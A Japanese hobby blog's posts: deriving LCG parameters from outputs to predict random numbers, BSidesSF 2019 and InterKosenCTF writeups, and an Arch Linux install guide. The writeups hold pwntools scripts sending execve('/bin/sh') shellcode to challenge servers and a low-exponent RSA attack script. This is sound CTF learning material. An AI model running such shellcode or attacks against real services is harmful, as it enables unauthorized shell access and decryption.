みつのCTF精進記録

プログラム書いたりCTFやったりするゆるゆるなブログです。

線形合同法のパラメータを乱数列から求めてみる。

線形合同法とは

一応文字の置き方の準備なども含め線形合同法について簡単に解説します。
線形合同法(Linear Congruential Generator, LCG)とは、以下の漸化式で定義されている疑似乱数生成アルゴリズムの一つです。

  \left\{
    \begin{array}{l}
      x_{0}   = seed\\
      x_{i+1} = ax_{i} + c \mod M\\
    \end{array}
  \right.
\ \ \ \ (a,c,M,seed \in \mathbb{N})

パラメータ a,c,M の値によって周期や出てくる数値が代わり、最大周期は M[0,\ M-1] の自然数が出てきます(mod M なので)。また、 x_{0} は初期値で seed と呼ばれます。一般的にその時の時間やCPUの温度などを使って設定されます。
LCGは現在も広く使われ、その理由に実装が簡単なのと分かりやすい漸化式で定義されているので理解しやすいといったところがあると思います。しかし実は割と限界で、最大周期は 2^{32} と比較的短いです。その理由もあってか最近ではより高速でより周期も大きいメルセンヌツイスタアルゴリズムなどにとって代わられています。
後々使うので、ここでLCGの周期が最大になるようなパラメータの一つを紹介しておきます。

\left\{
    \begin{array}{l}
    a = 1664525\\
    b = 1013904223\\
    c = 2^{32}\\
    \end{array}
    \right.

他にもLCGの特徴は多くありますがそれらについてはググればたくさん出てくるのでこのあたりにしておきます。今回は最終的に、与えられた乱数列から各パラメータの値を求めてみます。わかりやすい日本語の記事がなかったのと自分の勉強がてら書こうと思います。

とりあえず実装

普通に線形合同法を実装してみます。漸化式の通り実装します。インライン引数に各パラメータと生成する乱数列の大きさをとります。

# LCG.py
import sys
import time

def LCG(seed, a, c, M, size):
    res = []
    x = seed

    for i in range(size):
        x = (a * x + c) % M
        res.append(x)

    return res

if __name__ == "__main__":
    a = int(sys.argv[1])
    c = int(sys.argv[2])
    M = int(sys.argv[3])
    size = int(sys.argv[4])

    res = LCG(time.time_ns(), a, c, M, size)

    print(res)

漸化式そのままですね。seedは適当に時間使ってます。気持ちはC言語のsrand(time(NULL))です。確かに、ランダムに数字が動いてるように見えます。
f:id:mi__tsu:20190310020837p:plain

ここで線形合同法で生成した既知の乱数列があり、その続きの値を予測することを考えます。ここではseedを適当な時間の値にしましたが、仮に a,c,M すべての値がわかってるとしたらseedの値を既知の乱数列の最後の数値にしてあげそのまま生成するとその次の値、さらにその次の値と予測できます。漸化式を見ればわかりますが、一周期のうち取りうる値は一回ずつしか出てこないからですね。

c だけがわからないとき

連続した乱数列の大きさが2以上なら解けます。この場合は簡単で以下のような式変形で解くことができます。


\begin{eqnarray}
x_{1} &\equiv& ax_{0} + c \mod M\\
c &\equiv& x_{1} - ax_{0} \mod M
\end{eqnarray}

以下実装。引数に a,M と標準入力で乱数列を渡します。

# getc.py
import sys

if __name__ == "__main__":
    a = int(sys.argv[1])
    M = int(sys.argv[2])

    x = []
    buf = input("number1 > ")
    x.append(int(buf))
    buf = input("number2 > ")
    x.append(int(buf))

    c = (x[1] - a * x[0]) % M

    print("c = {}".format(c))

確かに c の値が復元できてますね。
f:id:mi__tsu:20190311171110p:plain

a と c がわからないとき

連続した乱数列の大きさが3以上なら解けます。値が二つわからないので一見複雑そうですが意外とそうでもありません。以下のような連立合同式を立ててあげます。

\left\{
    \begin{array}{l}
    x_{1} \equiv ax_{0} + c \mod M\\
    x_{2} \equiv ax_{1} + c \mod M
    \end{array}
    \right.

乱数の周期が2以上のとき次のように変形すると解け、a の値を求めることができます。


\begin{eqnarray}
x_{2} - x_{1} &\equiv& ax_{1} - ax_{0} \mod M\\
a &\equiv& \frac{x_{2} - x_{1}}{x_{1} - x_{0}} \mod M
\end{eqnarray}

のこりの c については、先程の c だけが分からないときの問題を解けば求めることができます。
また、周期が1のときは a = 0 となり c の値も一般的に
c = Mm + x_{0}\ \ \ (m \in \mathbb{N}) と解けます。
実装で注意すべき点は有限体上の除算で、これを行うためにモジュラ逆数を用います。拡張ユークリッドの互助法(egcd)を使うことでmodの逆元(modinv)が実装できます。
以下実装。引数に M と標準入力で乱数列をとります。周期が1の時は c の最小の値を表示します。

# getac.py
import sys

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    g, y, x = egcd(b % a, a)
    return (g, x - (b // a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception("No modinv")
    return x % m

if __name__ == "__main__":
    M = int(sys.argv[1])

    x = []
    buf = input("number1 > ")
    x.append(int(buf))
    buf = input("number2 > ")
    x.append(int(buf))
    buf = input("number3 > ")
    x.append(int(buf))

    print(x)
    if x[0] == x[1]:
        a = 0
        c = x[0]
    else:
        a = (x[2] - x[1]) * modinv(x[1] - x[0], M) % M
        c = (x[2] - a * x[1]) % M

    print("a = {}".format(a))
    print("c = {}".format(c))

はい。
f:id:mi__tsu:20190311183354p:plain

全部わからないとき

乱数列が6つあればだいたい解けます。
今まで通り乱数列を増やして連立させてみることを考えます。すると以下のような式が立っていきます。

\left\{
    \begin{array}{l}
    x_{1} \equiv ax_{0} + c \mod M\\
    x_{2} \equiv ax_{1} + c \mod M\\
    x_{3} \equiv ax_{2} + c \mod M\\
    x_{4} \equiv ax_{3} + c \mod M\\
    \vdots
    \end{array}
    \right.

上の式は次のように言い換えることもできます。

\left\{
    \begin{array}{l}
    x_{1} - (ax_{0} + c) = k_{1}M\\
    x_{2} - (ax_{1} + c) = k_{2}M\\
    x_{3} - (ax_{2} + c) = k_{3}M\\
    x_{4} - (ax_{3} + c) = k_{4}M\\
    \vdots
    \end{array}
    \right.
\ \ \ \ (k_{n} \in \mathbb{N})

式が一つ増えるごとに未知数 k_{n} が増えます。
これを解決するには、ある自然数 m に対し、ランダムないくつかの m の倍数のgcdを取ると高い確率で m になるという事実を用います。これを利用することで x \equiv 0 \mod M となるような M がgcdを取るだけで簡単に求まります。
ここで適当な配列 T_{n} を以下のように定義しておきます。


\begin{eqnarray}
T_{0} &=& x_{1} - x_{0}\\
T_{1} &=& x_{2} - x_{1} \equiv (ax_{1} + c) - (ax_{0} + c) \equiv a(x_{1} - x_{0}) \equiv aT_{0} \mod M\\
T_{2} &=& x_{3} - x_{2} \equiv (ax_{2} + c) - (ax_{1} + c) \equiv a(x_{2} - x_{1}) \equiv aT_{1} \mod M\\
T_{3} &=& x_{4} - x_{3} \equiv (ax_{3} + c) - (ax_{2} + c) \equiv a(x_{3} - x_{2}) \equiv aT_{2} \mod M\\
\end{eqnarray}

この T_{n} を用いるとこのような変形が可能になります。

 T_{0}T_{2} - T_{1}^{2} \equiv a^{2}T_{0}^{2} - a^{2}T_{0}^{2} \equiv 0 \mod M

これらを利用すれば M の値を求めることができます。他のパラメータについても今までの方法を利用すれば問題なく求まるようになります。
以下実装。標準入力に乱数列をとります。

import sys
from functools import reduce
import math

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    g, y, x = egcd(b % a, a)
    return (g, x - (b // a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception("No modinv")
    return x % m

if __name__ == "__main__":

    # inputs
    x = []
    buf = input("number1 > ")
    x.append(int(buf))
    buf = input("number2 > ")
    x.append(int(buf))
    buf = input("number3 > ")
    x.append(int(buf))
    buf = input("number4 > ")
    x.append(int(buf))
    buf = input("number5 > ")
    x.append(int(buf))
    buf = input("number6 > ")
    x.append(int(buf))

    # solve M
    T = []
    for x0, x1 in zip(x, x[1:]):
        T.append(x1 - x0)

    zeros = []
    for t0, t1, t2 in zip(T, T[1:], T[2:]):
        zeros.append(t2 * t0 - t1 * t1)

    M = abs(reduce(math.gcd, zeros))

    # solve a, c
    if x[0] == x[1]:
        a = 0
        c = x[0]
    else:
        a = (x[2] - x[1]) * modinv(x[1] - x[0], M) % M
        c = (x[2] - a * x[1]) % M


    # answer
    print("a = {}".format(a))
    print("c = {}".format(c))
    print("M = {}".format(M))

f:id:mi__tsu:20190311203604p:plain
わーい。お疲れ様でした。時間とやる気があったらモジュラ逆数と m の倍数のgcdのやつについても追加で書いておきます。

BSidesSF 2019 writeup

はじめに

GrowthKeysは元々みんなで勉強するようのチームで実はCTFtimeにも登録してませんでした。ということでKaitoさんと新しくStarrySkyを結成しました!話はもっと前からあったのですが大学受験なども合わさってなかなか決められませんでした…ついにです!
というわけでそんな記念すべきStarrySky最初のCTFとなったBSidesSF 2019について書いていきます。
自分たちのチームは300ポイントで84位でした。元々100位以内入ればいいかなーって思ってやってたのですがもうちょっとポイントが伸ばせそうだったのでちょっと残念です。
f:id:mi__tsu:20190305235728j:plain

以下、常体で自分の解いた問題のwriteupを書いていきます。

__ blink.apk __

apk問。とりあえずblink.apkを展開してみる。

$ unzip blink.apk
$ dex2jar classes.dex
$ unzip classes-dex2jar.jar
$ jad -s java -d src -r com/example/blink/*.class
$ cd src/com/example/blink/
$ ls
BuildConfig.java  MainActivity.java  R.java  r2d2.java

r2d2.javaに明らかに怪しいプログラムがあるので読んでみる。

byte abyte0[] = Base64.decode(" data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQE...xIgg/8X//2Q==".split(",")[1], 0);

よくわからない長いやつはjpegファイルをBase64エンコードしたものだと言うことがわかったので自力でデコードしてみる。

echo "/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQE...xIgg/8X//2Q==" | base64 -d > out.jpeg
feh out.jpeg

f:id:mi__tsu:20190305235756j:plain
フラグゲット。

[Forensics 100pts] thekey

__ thekey.pcapng __

wiresharkでthekey.pcapngで開いてみるとUSB Protcolの通信データだった。URB_INTERRUPT inがたくさん続いていたのでUSBキーボードの入力データと予想。実際Leftover Capture Dataにもそれっぽい値がいっぱい入ってた。
f:id:mi__tsu:20190306000320p:plain

というわけでLeftover Capture Dataを取り出してキー入力を見てみる。

$ tshark -r thekey.pcapng -T fields -e usb.capdata  | sed '/^$/d' > data
$ cat data
00:00:00:00:00:00:00:00
00:00:19:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:0c:00:00:00:00:00
00:00:0c:10:00:00:00:00
00:00:10:2c:00:00:00:00
00:00:2c:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:09:00:00:00:00:00
00:00:00:00:00:00:00:00
...

HIDのキーコード表と照らし合わせてキー入力を復元してみる。本当はスクリプトを書くべきだったがそんなに分量が多くなかったので面倒くさくて書いてない。
"vim flaag.txtiThe flaag is ctfvbUA{my_favorite_editor_is_vim}hhhhhhhhhhhhhhhhhhhauvi{U:wq"
hhhhhhとかvbUAとかなんだよって思ってましたが最後に:wqとあるのでvimのコマンドと予想。実際にこのキー入力どおりシェルで入力してみるとフラグゲット。イギリスではfavoriteじゃなくてfavouriteと書くらしい。へー。何とは言わないが同意である。
CTF{MY_FAVOURITE_EDITOR_IS_VIM}

[Forensics 10pts] slashslash

__ flag.zip __

よくわかんないけど解凍してみる。

$ unzip flag.zip 
Archive:  flag.zip
SevenPinLock0123456
 extracting: flag.aes128cbc

よくわかんないコメント"SevenPinLock0123456"とaes128cbcで暗号化されたフラグが出てきた。問題のポイント的にaesの脆弱性をつくものでないとなんとなくわかるので試しに複合してみる。パスワードを要求されたのでよくわかんないけどzipのコメントの"SevenPinLock0123456"を使ってみる。

$ openssl aes-128-cbc -d -in flag.aes128cbc 
enter aes-128-cbc decryption password:
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
bad decrypt

なんかエラー出た。opensslわからん。 -md md5 つけてみる。

$ openssl aes-128-cbc -d -in flag.aes128cbc -md md5
enter aes-128-cbc decryption password:
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
CTF{always_add_comments}

フラグゲット!

[101 Forensics 50pts] zippy

__ zippy.pcapng __


zippyって言うくらいだしなんか出てくるだろと思ってbinwalk。やっぱりzipが出てきた。unzipしようとするとパスワードを求められたのでこれをpcapngファイルから見つければいいということがわかった。

$ binwalk -e zippy.pcapng
$ cd _zippy.pcapng.extracted
$ ls
4DE.zip flag.txt
$ cat flag.txt
$ unzip 4DE.zip
Archive:  4DE.zip
[4DE.zip] flag.txt password: 
   skipping: flag.txt                incorrect password
$ wireshark ../zippy.pcapng $

TCPストリームを追跡してみる。
f:id:mi__tsu:20190306003717p:plain

多分stringsでも出る。

unzip -P supercomplexpassword flag.zip というコマンドで圧縮されたことがわかるのでパスワードがsupercomplexpasswordであることがわかった。これで解凍できる。
フラグゲット!
CTF{this_flag_is_your_flag}

最初引っ掛けかと思ったので通ったときは驚いた。

[101 Web 1pts] futurella

__ Location - https://futurella-85e75f52.challenges.bsidessf.net/ __

書くまでもないけど一応書く。
f:id:mi__tsu:20190306004208p:plain

エイリアンの文字がいっぱいあって読めない。置換式暗号かなー面倒くさい…。と思ったら宇宙人の文字がコピーできた。
"
Resistance is futile! Bring back Futurella or we'll invade!

Also, the flag is CTF{bring_it_back}
"
フラグゲット!
他の星でも文字コードは同じだったようだ。

[101 Pwning 25pts] runit

__ Location - runit-5094b2cb.challenges.bsidessf.net:5252 __
__ runit __

接続してみるとなんか適当に入力できて、よくわかんないけどSIGSEGVでた。
runitを逆アセンブルして読むとどうやら入力された文字をそのまま実行しているらしい。つまりシェルコードを送ればいい。x86用で大丈夫っぽい。

コードどぺ。

from pwn import *

r = remote("runit-5094b2cb.challenges.bsidessf.net", 5252)
# r = process("./runit")

payload = "\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80"

r.sendline(payload)

r.interactive()

一応このシェルコードのアセンブリを書いておく。

31 d2                   xor    edx,edx
52                      push   edx
68 2f 2f 73 68          push   0x68732f2f
68 2f 62 69 6e          push   0x6e69622f
89 e3                   mov    ebx,esp
52                      push   edx
53                      push   ebx
89 e1                   mov    ecx,esp
8d 42 0b                lea    eax,[edx+0xb]
cd 80                   int    0x80

シェルが取れたのであとは /home/ctf/flag.txt を読むだけ。
フラグゲット!
CTF{you_ran_it}

[101 Pwning 52pts] runitplusplus

_ Location - runitplusplus-a36bf652.challenges.bsidessf.net:5353 _
_ runitplusplus _

runitの続きみたいなやつ。runitと同じようにシェルコードをそのまま送ってもだめだったのでしっかり逆アセンブル結果を読んでみた。
一見コードは複雑だが最終的な結果は簡単で、読み込んだ文字列を前後ろ反転させて実行していた。ということでx86の適当なシェルコードを反転させて送ればいい。
と思ったがここには罠があった。

実は文字列を送る際必ず一番最後に改行文字(0xa)が含まれてしまう。この改行文字も含めて前後ろ反転させるため実際に送られるシェルコードは必ず "\x0a\xde\xad\xbe\xef..." という形になってしまう。リトルエンディアンに注意すると実際に実行されるコードは "\xbe\xad\xde\x0a..." という形になり、自分が送りたいコードとは別になってしまう。

ここで \x0a から始まるシェルコードを作ってそれをうまく並び替えればいいと考えた。

コードどぺ

from pwn import *

r = remote("runitplusplus-a36bf652.challenges.bsidessf.net", 5353)
#r = process("./runitplusplus")

payload = "\xc2\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80\x0a"[::-1]

r.sendline(payload)

r.interactive()

このコードのアセンブリについて。runitで使ったシェルコードをちょっとだけ改造した。並び替えを戻した実際のシェルコードは"\x0a\xc2\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80"。

これでシェルが起動できるのであとは /home/ctf/flag.txt を読めばいい。
フラグゲット!
{ti_nar_uoy}FTC

[101 2pts] Trivia 1

これも書くまでもないが書く。
My voice is my ________. Verify me. と言われてるのでググる

フラグゲット!
passport

感想

敬体に戻します。
結構惜しいところまでいって最後の一押しができない問題がいくつかありちょっと残念でした。順位は目標に到達できましたがもう少しいけたと思うと悔しいです。復習頑張りたいです。
やっぱりCTFは楽しいです。お疲れさまでした。

VirtualBox6.0にArchLinuxをインストールしていくだけ

最初に

こんにちは、スクショ雑星人です。タイトル通りVirtualBoxにArchLinuxをインストールし、デスクトップ環境を構築するまでやります。基本的にArchWikiのインストール手順に沿ってやっていくのでそちらも参照してみてください。

基本的に一つ一つ解説はしない(できない)ので詳しく知りたい方はぜひArchWikiを参照してみてください。とても分かりやすく載っています。また、間違い等ありましたら是非指摘してください。


wiki.archlinux.jp

仮想マシンの作成

まずイメージファイルをダウンロードします。今回自分は "archlinux-2019.02.01-x86_64.iso" というファイルをダウンロードしました。

Arch Linux JP Project - ダウンロード

時によって名前は変わるので "archlinux-XXXX.XX.XX-x86_64.iso" とかなら大丈夫です(毎月更新してるっぽい?)

ダウンロードしたらVirtualBoxの設定へ行きます。新規作成で以下のように設定してください。

f:id:mi__tsu:20190213190925p:plain

f:id:mi__tsu:20190213192249p:plain

名前やメモリサイズなどは適当でいいです。

また、設定でEFIを有効化にチェックをつけてください。ビデオメモリとかの設定は適当でいいです。

f:id:mi__tsu:20190213191338p:plain

追記

Graphics Controller が VMSVGA だとスクリーンショット等をとるときにエラーがでることがあるそうです。他にもこれは CentOS での話なのですがマウスポインタが表示されないといったことも起こっているようです。ちょっと安定性が怪しいので Graphics Controller を従来の VBoxVGA に変更することをお勧めします。

f:id:mi__tsu:20190307163125p:plain

設定が終わったら起動して先ほどインストールしたイメージファイルを選択してください。

起動直後、選択肢がいくつか出てくると思いますが一番上の "Arch Linux archiso x86_64 UEFI USB" のままで大丈夫です。その後一分くらい黒い画面のまま待ちます。

f:id:mi__tsu:20190213192717p:plainこの画面になったら後は(大体)コマンド打つだけです。

キーマップの設定

キーマップを日本語にします。デフォルトでは英語ですが。このままでいい人は設定はいりません。

# loadkeys jp106

通信の確認

VirtualBoxなら標準で通信できるようになってると思いますが一応確認です。もしできなかったらArchWikiへ飛んでください。

# ping -c 3 archlinux.jp

ネットワーク設定 - ArchWiki

パーティション切り分け

現在のブロックデバイスを確認します。

lsblkで表示されるものの中で TYPE が disk のものに注目します。今回自分の場合は sda でした。恐らく人によって違うことがあるので以降は sdX と表記します。自分のデバイス名に適宜置き換えてください。

# lsblk

f:id:mi__tsu:20190213194400p:plain

それではパーティションを切っていきます。

gdiskで切っていきます。まずoコマンドで既存のパーティションの情報をクリアします。

# gdisk /dev/sdX
Command (? for help): o
Proceed? (Y/N): y

 EFI Systemパーティション(ESP)を作ります。

Command (? for help): n
Partition number: 1
First sector: 何も押さずエンター
Last sector: +512M
Hex code or GUID: EF00

rootパーティションを作ります。メインの部分です。

Command (? for help): n
Partition number: 2
First sector: 何も押さずエンター
Last sector: 何も押さずエンター
Hex code or GUID: 8300

保存します。

Command (? for help): w
Do you want to proceed? (Y/N): y

 切り分けたパーティションはlsblkで確認できます。f:id:mi__tsu:20190215173653p:plain

パーティションのフォーマットとマウント

ESPをvfat、ルートパーティションext4でフォーマットします。

# mkfs.vfat -F32 /dev/sdX1
# mkfs.ext4 /dev/sdX2

ルートパーティションを /mnt に、ESPを /mnt/boot にマウントします。

# mount /dev/sdX2 /mnt # mkdir -p /mnt/boot # mount /dev/sdX1 /mnt/boot

システムクロックの更新

# timedatectl set-ntp true

f:id:mi__tsu:20190215174848p:plain

ミラーの選択

/etc/pacman.d/mirrorlist を編集してミラーを選択します。位置的に近いサーバーを上に持ってくるといいです。

自分はこんな感じにしました。

f:id:mi__tsu:20190213234437p:plainベースシステムのインストール

# pacstrap /mnt base base-devel

fstabの作成

# genfstab -U /mnt >> /mnt/etc/fstab

chroot

/mnt を新しいルートディレクトリにします。

# arch-chroot /mnt

f:id:mi__tsu:20190215175456p:plain

タイムゾーンの設定

 タイムゾーンを東京に合わせます。東京が嫌な人は好きな国にしてください。選べる国は # timedatectl list-timezones で確認できます。

# ln -sf /usr/share/zoneinfo/Asia/Tokyo /etc/localtime
# hwclock --systohc --utc

ロケールとキーマップ

# nano /etc/locale.gen
/etc/locale.gen を編集して en_US.UTF-8, ja_JP.UTF-8 の前のコメントアウト(#)を消す
# locale-gen
# echo LANG=en_US.UTF-8 > /etc/locale.conf
# echo KEYMAP=jp106 > /etc/vconsole.conf

ホストネームの設定

myhostname は適当に好きな名前にしてください。

# echo myhostname > /etc/hostname
# nano /etc/hosts
...
# Static table lookup for hostnames.
# See hosts(5) for details.
127.0.0.1 localhost
::1 localhost
127.0.1.1 myhostname.localdomain myhostname
...

下の画像では myhostname は Arch になっています。

f:id:mi__tsu:20190214001637p:plain

Systemd Networkd

# systemctl enable systemd-networkd
# systemctl enable systemd-resolved

パスワードの設定

 Rootのパスワードを設定します。

# passwd

ブートローダのインストール

 systemd-boot をインストールします。grubより楽な気がします。多分。

# bootctl --path=/boot install
# bootctl update
# nano /boot/loader/loader.conf
... default arch timeout 4 editor 0
...
# blkid -s PARTUUID -o value /dev/sdX2
XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX
# nano /boot/loader/entries/arch.conf
...
title Arch Linux
linux /vmlinuz-linux
initrd /initramfs-linux.img
options root=PARTUUID=XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX rw
...

仮想マシンのシャットダウン

# exit
# umount -R /mnt
# shutdown -h now

 シャットダウン後ディスクは取り出します。

f:id:mi__tsu:20190214003931p:plain

ネットワークの設定

 再起動した後 name:root, password:passwdで設定したやつ でルートアカウントにログインします。このままだとネットワークが有効になっていないので設定します。

# mv /etc/resolv.conf /etc/resolv_origin.conf.a
# ln -s /run/systemd/resolve/resolv.conf /etc/resolv.conf
# ip a
# nano /etc/systemd/network/20-wired.network
...
[Match]
Name=en* # ip a で出てきたやつ(enp0s3とかenp1s0とか)

[Network]
DHCP=yes
...

systemd-networkd と systemd-resolved を再起動します。

# systemctl restart systemd-networkd
# systemctl restart systemd-resolved

スワップの設定

sizeは必要なサイズです。メインメモリの2倍がいいとか+2Gがいいとか色々聞きます。ガバイト単位ならM、ギガバイト単位ならGを後ろにつけてください。(例: 6G)

# fallocate -l sizeM,G /swapfile
# chmod 600 /swapfile
# mkswap /swapfile
# swapon /swapfile
# nano /etc/fstab
...
# /dev/sda1
UUID=ABCD-EFGH /boot vfat rw,relatime,fmask=0022,dmask=0022,codepage=437,iocharset=iso8859-1,shortname=mixed,errors=remount-ro 0

# swap
/swapfile none swap defaults 0 0
...
# reboot

再起動したら swap が機能しているか確認。

# free -h

一般ユーザの作成

さすがにルートを一般ユーザとして使わけにはいかないので。

username は各自適当に決めてください。

# useradd -m -G wheel -s /bin/bash username
# passwd username
# visudo
...
## Uncomment to allow members of group wheel to execute any command
%wheel ALL=(ALL) ALL
...%wheel の前のコメントアウトを消します
# reboot

作成したユーザでログインします。

AURを使えるようにする

yayをインストールします。少し前にyaourtは非推奨になったらしいです。

$ sudo pacman -Syu
$ sudo pacman -S git
$ git clone https://aur.archlinux.org/yay.git
$ cd yay
$ makepkg -si
$ yay

Guest utils のインストール

$ sudo pacman -S virtualbox-guest-utils
Enter a number (default=1): 2
$ sudo modprobe -a vboxguest vboxsf vboxvideo
$ sudo nano /etc/modules-load.d/virtualbox.conf
...
vboxguest
vboxsf
vboxvideo
...
$ sudo reboot

Xorgのインストール

シンプルなターミナルと時計が表示されれば問題なくインストールできたと見て大丈夫です。exitでxorgを終了できます。

$ sudo pacman -S xorg-server xorg-apps xorg-xinit mesa xorg-twm xorg-xclock xterm
$ startx
$ exit
$ nano ~/.xprofile
...
VBoxClient-all
...

デスクトップ環境のインストール

まずディスプレイマネージャを入れます。今回は LightDM を入れます。

$ sudo pacman -S lightdm lightdm-gtk-greeter lightdm-gtk-greeter-settings
$ sudo nano /etc/lightdm/lightdm.conf
...
#unity-compositor-timeout=60
greeter-session=lightdm-gtk-greeter
...
$ sudo systemctl enable lightdm

デスクトップ環境を入れます。自分は awesome を入れますが各自好きなように入れて大丈夫です。例えば xfce を入れる場合 xfce と xfce-goodies をインストールします。

$ sudo pacman -S awesome

その他必要なものをインストールする

他にも自分は vimcurl 等をインストールしました。

$ sudo pacman -S xdg-user-dirs-gtk gamin adapta-gtk-theme pulseaudio pulseaudio-alsa pavucontrol alsa-utils otf-ipafont chromium
$ sudo reboot

f:id:mi__tsu:20190215192823p:plain

わーい。ターミナルは Win+Enter で開けます便利。シンプルな見た目から自分好みにいくらでもカスタマイズできるので楽しい環境ですね。

日本語環境の整備

環境変数を日本語用に。ここではキーマップはUSなので注意。

$ sudo nano /etc/locale.conf
...
# LANG=en_US.UTF-8
LANG=ja_JP.UTF-8
...

fcitxもここで入れます。

$ sudo pacman -S fcitx-im fcitx-configtool fcitx-mozc
$ nano ~/.xprofile
...
VBoxClient-all

export GTK_IM_MODULE=fcitx
export QT_IM_MODULE=fcitx
export XMODIFIERS=”@im=fcitx”
fcitx
...
$ reboot

fcitxの設定をしていきます。

$ fcitx-config-gtk3

設定はこんな感じにします。左下の + で追加、- で削除ができます。

f:id:mi__tsu:20190215194411p:plain

おまけ: ターミナルをちょっと良くする

Xtermだとシンプルすぎる方向けです。Xtermが好きな人はそのままでいいと思います。あとXtermだと日本語がうまく表示されません。f:id:mi__tsu:20190215200907p:plain

terminatorをインストールしていきます。

$ sudo pacman -S terminator

awesomeの設定ファイルをいじります。

$ mkdir -p ~/.config/awesome/
$ cp /etc/xdg/awesome/rc.lua ~/.config/awesome/
$ nano ~/.config/awesome/rc.lua
... 50行目くらい
terminal = "terminator"
...
$ reboot

再起動した後ターミナルを起動するとしっかりと terminator が起動できていることがわかります。

awesomeの設定ファイルの書き方については調べれば結構たくさんでてきます。ターミナルだけでなく他にもたくさん設定してみてください!

いえい

 これでインストールは終了になります。Archはたくさんカスタマイズができるディストリビューションなので自分の用途に合わせていい感じに遊んでみてください!では、よきArchライフを!

InterKosenCTFに参加した

どうやら高専CTFのときの優勝チームがCTFを開催するらしいと聞いて参加してみました。高専チームとしてでるとなんか色々よさそうでしたが、今回はGrowthKeysとして、naoppyさんとaileさんと最後にちょっとだけKaitoさんと参加しました。

以下自分が解いた問題+αのwriteupです。

 

[Cheat:100] lights out

Turn all the lights on.

WindowsのバイナリだったのでとりあえずIDAさんに食わせるもエラーを吐かれます。読んでみると.netのプログラムだということがわかるのでdnsPyに食わせます。

f:id:mi__tsu:20190120231225p:plain

 とりあえず色々関数を見てみると.cctorに怪しいプログラムが見つかりました。

f:id:mi__tsu:20190120231631p:plain

よくわからないけどフラグ作ってそうだなーって思ってこの部分だけPythonで書いて実行してみるとフラグがでました。

KOSENCTF{st4tic4lly_d3obfusc4t3_OR_dyn4mic4lly_ch34t}

 

[Crypto:100] strengthended

If you choose a tiny e as an RSA public exponent key, it may have the Low Public Exponent Attack vulnerability. So, I strengthened it.

RSA問です。問題文を見るとLowPublicExponentAttackをする問題だけどちょっと工夫がいるような感じだなーと思います。

# encrypt.py
from
Crypto.PublicKey import RSA from flag import flag assert(flag.startswith("KOSENCTF")) m = int(flag.encode("hex"), 16) key = RSA.generate(2048, e=3) while pow(m, key.e) < key.n: m = m << 1 c = pow(m, key.e, key.n) print("c={}".format(c)) print("e={}".format(key.e)) print("n={}".format(key.n
encrypted
c=4463460595992453701248363487821541441150903755360725278018226219397401710363861496059259094224390706180220952190225631877998805079875092397697611750633506584765344462795005248071815365597632474605092833538433542560077911683343354987797542811482161587946052311886487498036017642286567004537026772476444248546454191809039364154237333857544244714476659565633430727987398093807535598721617188645525580904749313860179445486488885745360135318781538863153023533787846418930231495508425497894530548826950697134882405386297339090051713047204435071147720540765043175338026604739425761557904004394283569956586190646684678673053 e=3 n=20169655945950105431738748243853927780331001640334986437959982160666610494142435056640595584712525268749025697813786742196769781107156600305882353438821338449740459508913799371467499117044809895128843358770212122149984787048869330121794532368786611513049229117856338074267497697268551262926233194699624069306801634627577488539763083043246322479538731125975155062918653790730355348606063864283452838775795802376825160728197871502803176167192178252802683495999009932194712635685410904731513241097681486329083486997949127983471617545787155883408710148611375930619822455594408723266661117411592239721104309931413551856711

encrypt.pyでフラグを暗号化して結果がencryptedなんだなーと分かります。eの値が小さいのでやはりLowPublicExponentAttackだなーと思いますが、encrypt.pyでpow(m, key.e) < key.n のときmの値をどんどん2倍していっていたため、ただやるだけではだめだと分かります。

encrypt.pyで最終的に求められるmは適当な自然数xを使えば n*x+c と表すことができ、これを考えると解けます。

# exploit.py
import
gmpy2 import codecs c=4463460595992453701248363487821541441150903755360725278018226219397401710363861496059259094224390706180220952190225631877998805079875092397697611750633506584765344462795005248071815365597632474605092833538433542560077911683343354987797542811482161587946052311886487498036017642286567004537026772476444248546454191809039364154237333857544244714476659565633430727987398093807535598721617188645525580904749313860179445486488885745360135318781538863153023533787846418930231495508425497894530548826950697134882405386297339090051713047204435071147720540765043175338026604739425761557904004394283569956586190646684678673053 e=3 n=20169655945950105431738748243853927780331001640334986437959982160666610494142435056640595584712525268749025697813786742196769781107156600305882353438821338449740459508913799371467499117044809895128843358770212122149984787048869330121794532368786611513049229117856338074267497697268551262926233194699624069306801634627577488539763083043246322479538731125975155062918653790730355348606063864283452838775795802376825160728197871502803176167192178252802683495999009932194712635685410904731513241097681486329083486997949127983471617545787155883408710148611375930619822455594408723266661117411592239721104309931413551856711 for i in range(pow(2, e)): if (i*n+c)%(pow(2, e)) == 0: me = i*n+c m,a = gmpy2.iroot(me,e) while m != 0: M = hex(m)[2:].encode('utf-8') try: M = codecs.decode(M, 'hex').decode('utf-8') break except: pass m = m >> 1 print(M)

KOSENCTF{THIS_ATTACK_DOESNT_WORK_WELL_PRACTICALLY}

 

 [Firensics:50] attack log

Someone seems to have tried breaking through our authentication. Find out if he or she made it to the end. 

pcapngファイルが渡されるので解析していきます。 

とりあえずstrings

